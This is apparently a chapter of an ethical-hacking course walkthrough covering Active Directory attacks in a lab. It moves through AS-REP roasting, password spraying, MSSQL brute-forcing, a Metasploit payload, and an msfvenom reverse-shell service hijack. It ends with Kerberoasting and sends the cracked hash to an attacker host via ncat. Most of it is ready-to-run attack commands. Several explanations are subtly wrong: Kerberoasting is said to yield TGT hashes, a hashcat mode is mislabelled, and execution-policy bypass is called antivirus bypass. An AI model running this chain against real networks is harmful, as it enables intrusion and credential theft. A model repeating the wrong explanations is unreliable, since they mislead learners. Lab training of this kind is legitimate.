# 5. Active Directory (AD) Attacks

### Task 1: Perform Initial Scans to Obtain Domain Controller IP and Domain Name

The initial scan in AD enumeration is crucial as it identifies the network structure, open ports, and services. This information helps ethical hackers map the AD environment, uncover vulnerabilities, and plan targeted attacks to assess security measures and identify potential weaknesses.

```
nmap 10.10.1.0/24
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2F3RnWWwK62JMrzU6JuJIl%2Fimage.png?alt=media&#x26;token=6039d7f6-76f9-457f-adc5-a7d7de433eb7" alt=""><figcaption></figcaption></figure>

**Port** **88/TCP** **kerberos-sec** and **port 389/TCP LDAP** opened which confirms that our DC IP address is **10.10.1.22**<br>

#### Detailed scan

```
nmap -A -sC -sV 10.10.1.22
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FkTrk44bJ1y3yfXEFFMZR%2Fimage.png?alt=media&#x26;token=37b433f0-2a62-4655-b3a3-4fff7e173b08" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FC2UA3Y6550XmMoiRrIIz%2Fimage.png?alt=media&#x26;token=98782adb-858d-464b-afd8-7d1f9ea6d3c9" alt=""><figcaption></figcaption></figure>

We get the <mark style="color:red;">domain name and FQDN</mark>.

### Task 2: Perform AS-REP Roasting Attack <a href="#task-2-perform-as-rep-roasting-attack" id="task-2-perform-as-rep-roasting-attack"></a>

An AS-REP roasting attack targets user accounts in AD that do not require Kerberos pre-authentication, exploiting the DONT\_REQ\_PREAUTH setting. Attackers can request a ticket-granting ticket (TGT) for these accounts without needing the user's password.

The DC responds with an encrypted TGT, which the attacker captures. This TGT, encrypted with the user's password hash, is then subjected to offline password-cracking tools such as Hashcat or John the Ripper. By rapidly guessing the password, the attacker can eventually decrypt the TGT, revealing the user's password.

```
python3 GetNPUsers.py CEH.com/ -no-pass -usersfile /root/ADtools/users.txt -dc-ip 10.10.1.22.
```

* **GetNPUsers.py**: Python script to retrieve AD user information.
* **CEH.com/**: Target AD domain.
* **-no-pass**: Flag to find user accounts not requiring pre-authentication.
* **-usersfile** \~/ADtools/users.txt: Path to the file with the user account list.
* **-dc-ip 10.10.1.22**: IP address of the DC to query.

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FiPqvgZxnHWcCwpp7Wce9%2Fimage.png?alt=media&#x26;token=fc1d687d-d550-4143-824a-ceb2a84f2d1a" alt=""><figcaption></figcaption></figure>

In Kali, we can use the following command as well

```
impacket-GetNPUsers -dc-ip 10.10.10.161 -request -no-pass -usersfile users.txt  htb.local/
```

```
impacket-GetNPUsers -dc-ip 10.10.10.161 -request htb.local/
```

We can observe that the user **Joshua** has **DONT\_REQUIRE\_PREAUTH** set. As this user is vulnerable to AS-REP roasting, we obtain Joshua's password hash. Copy that hash and save it as **joshuahash.txt**. Execute the command **echo '\[HASH]' > joshuahash.txt**.

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FCk3W6vBIdehECbNyVVIw%2Fimage.png?alt=media&#x26;token=a2b54483-a475-4ac1-bfc0-ee13544d30c4" alt=""><figcaption></figcaption></figure>

Now crack the hash.

```
john --wordlist=/root/ADtools/rockyou.txt joshuahash.txt
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2F2bt8yvupcuUZFLv7ll9S%2Fimage.png?alt=media&#x26;token=edd94dad-f6ef-489f-9c59-ff2535de1173" alt=""><figcaption></figcaption></figure>

### Task 3: Spray Cracked Password into Network using CrackMapExec. <a href="#task-3-spray-cracked-password-into-network-using-crackmapexec" id="task-3-spray-cracked-password-into-network-using-crackmapexec"></a>

Using CrackMapExec for password spraying involves leveraging its capabilities to automate the process. For instance, if "cupcake" is a cracked password, CME can be used to test this password against numerous user accounts and services across a network. This approach helps identify other accounts that may be using the same password, facilitating further penetration testing or security assessments.

You can spray the password as per the Nmap scan results on services which are running on our target.

#### RDP Password spraying

```
cme rdp 10.10.1.0/24 -u /root/ADtools/users.txt -p “cupcake”
```

* **rdp**: Targets the Remote Desktop Protocol (RDP) service.
* **10.10.1.0/24**: IP address range to target, encompassing all hosts within the subnet 10.10.1.0 with a subnet mask of 255.255.255.0.
* **-u /root/ADtools/users.txt**: Specifies the path to the file containing user accounts for authentication.
* **-p "cupcake"**: Password which we cracked using AS-REP Roasting to test against the RDP service on the specified hosts.

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2F3VgDHQC1aU5wQATmNQfb%2Fimage.png?alt=media&#x26;token=a351608f-99f9-46fc-b29f-7e890f6c9bd7" alt=""><figcaption></figcaption></figure>

&#x20;We find that user **Mark** is using the same password **cupcake** on host **10.10.1.40**. We can try to connect to RDP as user **mark**.

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FFBuHxLENv6Ntt10V7DCj%2Fimage.png?alt=media&#x26;token=30020600-ee1b-4b54-bd3a-f16e2d238b0c" alt=""><figcaption></figcaption></figure>

### Task 4: Perform Post-Enumeration using PowerView <a href="#task-4-perform-post-enumeration-using-powerview" id="task-4-perform-post-enumeration-using-powerview"></a>

PowerView is a PowerShell tool designed for network and AD enumeration. It helps security professionals gather detailed information about user accounts, groups, computers, and domain trusts. PowerView is used to identify potential security weaknesses and misconfigurations in an AD environment. It is commonly employed in penetration testing and red team operations. <mark style="color:red;">It works from Windows.</mark>

Launch **PowerShell** by searching for it in Windows search option. Now, execute the command **. .\PowerView\.ps1** to load the PowerView\.ps1 script in PowerShell. (You should have downloaded the script)

```
powershell -EP Bypass
```

First we need to bypass antivirus protection and then we can run the script.

```
Import-Module .\PowerView.ps1
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2Fjqk7yjj88lG3DW735BXO%2Fimage.png?alt=media&#x26;token=a90d412b-912b-4a9e-b33b-aa50c42a8daf" alt=""><figcaption></figcaption></figure>

Execute **Get-NetComputer** command in PowerShell. This command will display all the information related to computers in AD. It lists all computer objects in AD, which can help in identifying network targets and mapping the AD environment.

```
Get-NetComputer
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FmLhpppXeI59g1BrBn0Hi%2Fimage.png?alt=media&#x26;token=acf8ee1c-8cec-4be7-90a7-b7b57b4587e0" alt=""><figcaption></figcaption></figure>

Execute **Get-NetGroup** in PowerShell. The Get-NetGroup command in PowerView lists all groups in AD, which helps in identifying group memberships and potential targets for privilege escalation.

```
Get-NetGroup
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2F3XVSQyGl2CaIP4SiKXn9%2Fimage.png?alt=media&#x26;token=9f9b521d-57e9-4714-ba10-542624920c57" alt=""><figcaption></figcaption></figure>

Execute command **Get-NetUser** in PowerShell. Get-NetUser in PowerView retrieves detailed information about AD user accounts, such as usernames and group memberships. It helps identify potential targets and understand the AD environment better.

```
Get-NetUser
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FdhM0N5E6ZoBuPgWKvvxm%2Fimage.png?alt=media&#x26;token=33179a90-a45a-4b23-9173-3f0c21e24691" alt=""><figcaption></figcaption></figure>

We found a new user **SQL\_srv**, who has some high privileges and could be useful for further attacks.

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2F6YM2SI208YwaAO4PKTgX%2Fimage.png?alt=media&#x26;token=756784f9-280b-439b-839b-9e828f0b3165" alt=""><figcaption></figcaption></figure>

Here are some other listed commands that you can use with **PowerView\.ps1** for enumeration:

* **Get-NetOU** - Lists all organizational units (OUs) in the domain.
* **Get-NetSession** - Lists active sessions on the domain.
* **Get-NetLoggedon** - Lists users currently logged on to machines.
* **Get-NetProcess** - Lists processes running on domain machines.
* **Get-NetService** - Lists services on domain machines.
* **Get-NetDomainTrust** - Lists domain trust relationships.
* **Get-ObjectACL** - Retrieves ACLs for a specified object.
* **Find-InterestingDomainAcl** - Finds interesting ACLs in the domain.
* **Get-NetSPN** - Lists service principal names (SPNs) in the domain.
* **Invoke-ShareFinder** - Finds shared folders in the domain.
* **Invoke-UserHunter** - Finds where domain admins are logged in.
* **Invoke-CheckLocalAdminAccess** - Checks if the current user has local admin access on specified machines.

### Task 5: Perform Attack on MSSQL service <a href="#task-5-perform-attack-on-mssql-service" id="task-5-perform-attack-on-mssql-service"></a>

**xp\_cmdshell** is a SQL server stored procedure enabling command shell execution. Misconfigured xp\_cmdshell can lead to arbitrary command execution, data exfiltration, and potential network compromise, posing significant security risks. Proper configuration and security measures are crucial to mitigate these risks.

The service runs on port 1433 and we will brute force the password first.

Save the username **SQL\_srv** in a text file and name it as **user.txt** using command **pluma user.txt**.

Now, bruteforce the password for MSSQL

```
hydra -L user.txt -P /root/ADtools/rockyou.txt 10.10.1.30 mssql
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FDUP5Wc5Q9d4wQuiQl3In%2Fimage.png?alt=media&#x26;token=e748804e-b4d7-42bd-88b8-e44b8ab0a550" alt=""><figcaption></figcaption></figure>

We have successfully cracked the password for **SQL\_srv**, which is "**batman**". Next, we will attempt to log into the service using **mssqlclient.py**.

```
python3 /root/impacket/examples/mssqlclient.py CEH.com/SQL_srv:batman@10.10.1.30 -port 1433
```

Now, execute the following command.

```
SELECT name, CONVERT(INT, ISNULL(value, value_in_use)) AS IsConfigured FROM sys.configurations WHERE name='xp_cmdshell';
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FWEDBP40lJZ2fFxTwmupX%2Fimage.png?alt=media&#x26;token=41e1577b-ee9a-49a9-b359-cc55b7a0f7da" alt=""><figcaption><p>A value of 1, indicating that xp_cmdshell is enabled on the server</p></figcaption></figure>

Now, as we know that **xp\_cmdshell** is enabled on SQL server we can use Metasploit to exploit this service.

```
use exploit/windows/mssql/mssql_payload
set RHOST 10.10.1.30
set USERNAME SQL_srv
set PASSWORD batman
set DATABASE master
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2F4dYdNmScayDM5eE8RCsw%2Fimage.png?alt=media&#x26;token=c1752d09-210c-4e56-a93f-4ba59fe58205" alt=""><figcaption></figcaption></figure>

Once the exploitation is complete, we will be getting a Meterpreter session. You can move to shell by typing **shell.**

### Task 6: Perform Privilege Escalation <a href="#task-6-perform-privilege-escalation" id="task-6-perform-privilege-escalation"></a>

WinPEASx64.exe is a tool for Windows privilege escalation, identifying misconfigurations and vulnerabilities for potential exploitation.

The Unquoted Service Path vulnerability in the RunOnce registry key arises when a Windows service path lacks proper quotation marks and contains spaces, enabling attackers to execute arbitrary code with elevated privileges during system startup.

It is assumed that you still have the shell from last task.

Move to **C:\Users\Public\Downloads** using **cd** and execute the command **powershell**.

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FnniigqhUX7VO20rbZJnq%2Fimage.png?alt=media&#x26;token=52ac1dde-ef96-46ca-af5d-3ccc02d46237" alt=""><figcaption></figcaption></figure>

Now, we need to host winPEASx64.exe on the attacker machine using Python. Open a new terminal, type **sudo su**, press **Enter**, and use **toor** as password. Execute the command **cd /root/ADtools**.

Type **python3 -m http.server** and press **Enter** to host the **winPEASx64.exe** file.

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FOTkXBp1nuCrm9LJDuVKh%2Fimage.png?alt=media&#x26;token=1ef9a9e0-86b9-4fba-83b5-099409f0ce02" alt=""><figcaption></figcaption></figure>

Get back to the shell terminal and type

```
wget http://10.10.1.13:8000/winPEASx64.exe -o winpeas.exe
```

Once winpeas.exe is downloaded, execute it with **./winpeas.exe**

```
./winpeas.exe
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2Fwqjl2pkpLXjz5EXVQ65B%2Fimage.png?alt=media&#x26;token=a5f1b8af-fc24-407d-84d3-4b7c1bd87ef3" alt=""><figcaption></figcaption></figure>

Once the execution is completed, observe the output. Here, we have a file named **file.exe** in **C:\Program Files\CEH Services** that is unquoted and can be exploited for privilege escalation.

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FWqCItugYCgpaxUYe5r6g%2Fimage.png?alt=media&#x26;token=709abc99-0da9-400b-bd86-9cc9c93de488" alt=""><figcaption></figcaption></figure>

Open a new terminal with root privileges using the command sudo su and **toor** as password and create a payload.

```
msfvenom -p windows/shell_reverse_tcp lhost=10.10.1.13 lport=8888 -f exe > /root/ADtools/file.exe
```

Go to another terminal and type **nc -nvlp 8888** and press **Enter**

```
nc -nvlp 8888
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FbkWbUSm2i95KN0TXKQU0%2Fimage.png?alt=media&#x26;token=10fde205-57dd-4a5b-8b9e-2067fce7751d" alt=""><figcaption></figcaption></figure>

Get back to our shell terminal and move to C:\Program Files\CEH Services. Execute the command

```
cd ../../.. ; cd "Program Files/CEH Services"
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FHBpHqTJbYiMEpnxlY8k2%2Fimage.png?alt=media&#x26;token=bb28f343-1c74-4f8c-8f2a-e76c9ed6c52d" alt=""><figcaption></figcaption></figure>

Execute the command.

```
move file.exe file.bak ; wget http://10.10.1.13:8000/file.exe -o file.exe
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FMROZyYDsb7wUVVZLjNwv%2Fimage.png?alt=media&#x26;token=93990896-e526-4913-be4a-bf587fd618c9" alt=""><figcaption></figcaption></figure>

Switch to the Windows Server 2019 (AD) machine, assuming we are the victim now. Restart the machine by hovering over **Power and Display** button and click **Reset/Reboot** button present at the toolbar located above the virtual machine and log in with the username **SQL\_srv** and password "**batman**." We will get a shell on our Parrot OS.

### Task 7: Perform Kerberoasting Attack <a href="#task-7-perform-kerberoasting-attack" id="task-7-perform-kerberoasting-attack"></a>

Rubeus is a tool for exploiting Kerberos weaknesses in Windows environments. Kerberoasting is a method to extract ticket granting ticket (TGT) hashes from AD. Attackers target service accounts with associated Kerberos service principal names (SPNs). TGTs are requested from the DC for these accounts, then cracked offline to reveal user passwords. Kerberoasting exploits weak service account passwords and the nature of Kerberos authentication.

<mark style="color:red;">**We assume that we already have a shell on a windows system meaning access to AD environment.**</mark>

In the netcat shell, execute the **powershell** command to launch PowerShell. Navigate to C:\Users\Public\Downloads and execute the command **cd ../.. ; cd Users\Public\Downloads**

```
cd ../.. ; cd Users\Public\Downloads
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FBmHW2vFJaE87h1WMKSVE%2Fimage.png?alt=media&#x26;token=22dc09fb-7260-429b-a8ca-729ac75b387e" alt=""><figcaption></figcaption></figure>

Now, we will be downloading Rubeus and netcat. Execute the command&#x20;

```
wget http://10.10.1.13:8000/Rubeus.exe -o rubeus.exe ; wget http://10.10.1.13:8000/ncat.exe -o ncat.exe
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2F7JiSt2hW1AkaLXvWRhd0%2Fimage.png?alt=media&#x26;token=0ba8cd5b-b7ab-4dbb-a55d-eee39d05a96d" alt=""><figcaption></figcaption></figure>

Type **cd ../.. && cd Users\Public\Downloads** and press **Enter** to move into the Downloads folder

Execute the command

```
rubeus.exe kerberoast /outfile:hash.txt
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FKQMJ1bMynCI8X436Ittn%2Fimage.png?alt=media&#x26;token=a007bd49-2c1d-4931-8a8a-6290d07ce807" alt=""><figcaption></figcaption></figure>

After kerberoasting the password hash for **DC-Admin** is saved in **hash.txt** file

To get that hash file on the attacker machine, we will be using netcat. Open a new terminal, type **sudo su** and press **Enter**; use **toor** as password. Then execute the command

```
nc -lvp 9999 > hash.txt
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FkRmsEYXEI20EluI3LpaZ%2Fimage.png?alt=media&#x26;token=a8971f70-30f2-4383-96ba-32d634b60f35" alt=""><figcaption></figcaption></figure>

In the shell terminal, execute the command.

```
ncat.exe -w 3 10.10.1.13 9999 < hash.txt
```

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FkHq0whjBNPRpYW7adN7P%2Fimage.png?alt=media&#x26;token=db3f2f99-346f-4b69-8e1b-81b710a5c367" alt=""><figcaption></figcaption></figure>

Get back to the netcat listener terminal and press **Enter** to save the file.

Now, we will be using HashCat to crack the password hash

```
hashcat -m 13100 --force -a 0 hash.txt /root/ADtools/rockyou.txt
```

* -m 13100: This specifies the hash type. 13100 corresponds to Kerberos 5 AS-REQ Pre-Auth etype 23 (RC4-HMAC), a specific format for Kerberos hashes.
* \--force: This option forces Hashcat to ignore warnings and run even if there are compatibility issues. Use this with caution, as it might cause instability or incorrect results.
* -a 0: This specifies the attack mode. 0 stands for a straight attack, which is a simple dictionary attack where Hashcat tries each password in the dictionary as it is.
* hash.txt: is the input file containing the hashes to crack
* /root/ADtools/rockyou.txt: is the wordlist file used for the attack

<figure><img src="https://2218819509-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrUBnODuUX4EQ8P27uc5D%2Fuploads%2FxAcge07yfFBu0PiXmd1w%2Fimage.png?alt=media&#x26;token=d7907aeb-c529-4910-95a9-a3b78b55f030" alt=""><figcaption></figcaption></figure>

After completation, we get the password **advanced!**. As DC-Admin has high privileges on the domain, we can use this password for further attacks.

{% embed url="<https://www.udemy.com/course/ethical-hacker-practical/?referralCode=289CF01CF51246BCAD6C>" %}
